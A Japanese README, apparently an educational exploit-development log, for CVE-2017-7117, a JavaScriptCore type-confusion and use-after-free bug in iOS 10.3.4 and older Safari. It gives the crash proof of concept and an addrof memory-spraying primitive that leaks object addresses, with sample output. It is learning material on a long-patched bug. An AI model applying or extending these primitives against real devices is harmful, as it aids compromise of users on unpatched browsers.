
教育目的のエクスプロイト。CVE-2017-7117、iOS 10.3.4 JavaScriptCoreにおける型混乱(type-confusion)および解放後使用(use-after-free)の脆弱性を対象とし、メモリスプレーイングとアドレス漏洩の手法を実証する。
iOS 10.3.4 以前と、Safari 11.0 より前のバージョンで見つかった型混乱(type-confusion)および Use-After-Free(UAF)です。
CVE-2017-7117: mitre.org
発見者: @lokihardt、ソース: Google Project Zero
function f() {
let o = {};
for (let i in {xx: 0}) { // i は String
for (i of [0]) { // i は数値になるが、JIT は String として扱う
}
print(o[i]); // おっと
}
}
f();
上記のコードを実行すると、JSC がクラッシュします。
JIT コンパイラが文字列だと誤認するような、大きな配列 arr を作成します。
var arr = new Uint32Array(1 * 1024 * 1024 / 4); // 1mb | 1 要素 == 4 バイト
arr[4] = 0xb0; // メンバ m_hashAndFlags のチェックを通過するため
i への参照が失われた後も、元の配列 arr へのアクセスを維持できるため、基盤となるメモリを読み取ることができます。
既知の値をスプレーすることで、これを見つけ出し、上方に走査して任意のオブジェクトへのポインタを特定できます。
function addrof(obj) {
// 解放された配列からこの数値を探す
var locator = 0x1337;
// 解放されたメモリにロケータをスプレーする
var sprays = [];
for (var i = 0; i < 0x1000; ++i) {
sprays.push(i % 2 == 0 ? locator : obj);
}
// ロケータの最初のインスタンスを見つける
var found = null;
for(var i = 0; i < arr.length; i++) {
if(arr[i] == locator) {
found = i
break
}
}
// オブジェクトへのポインタはロケータの 3 つ後と 2 つ後のインデックスにある
return found && [arr[found + 3], arr[found + 2]]
}
値は Uint32Array を介してメモリからアクセスされ、下位ビットが先、上位ビットが後になります。
let target = {
foo: "bar"
}
let address = addrof(target)
// address: 0x0000ffff8d178e60
describe() を使えば、そのアドレスが有効であることを確認できます。
print(describe(target))
// Object: 0xffff8d178e60 with butterfly (nil) (0xffff9099bba0:[Object, {foo:0}, NonArray, Proto:0xffff909b00a0, Leaf]), ID: 244
現在テスト済み:
iPhone 5、iOS 10.3.4 では(まだ)動作しません。その理由を調べましょう...
このリポジトリは、エクスプロイト開発における学習の記録として提供される教育リソースです。この CVE は 7 年以上前にパッチが適用されています。当然ながら、悪意のある目的に使用しないでください。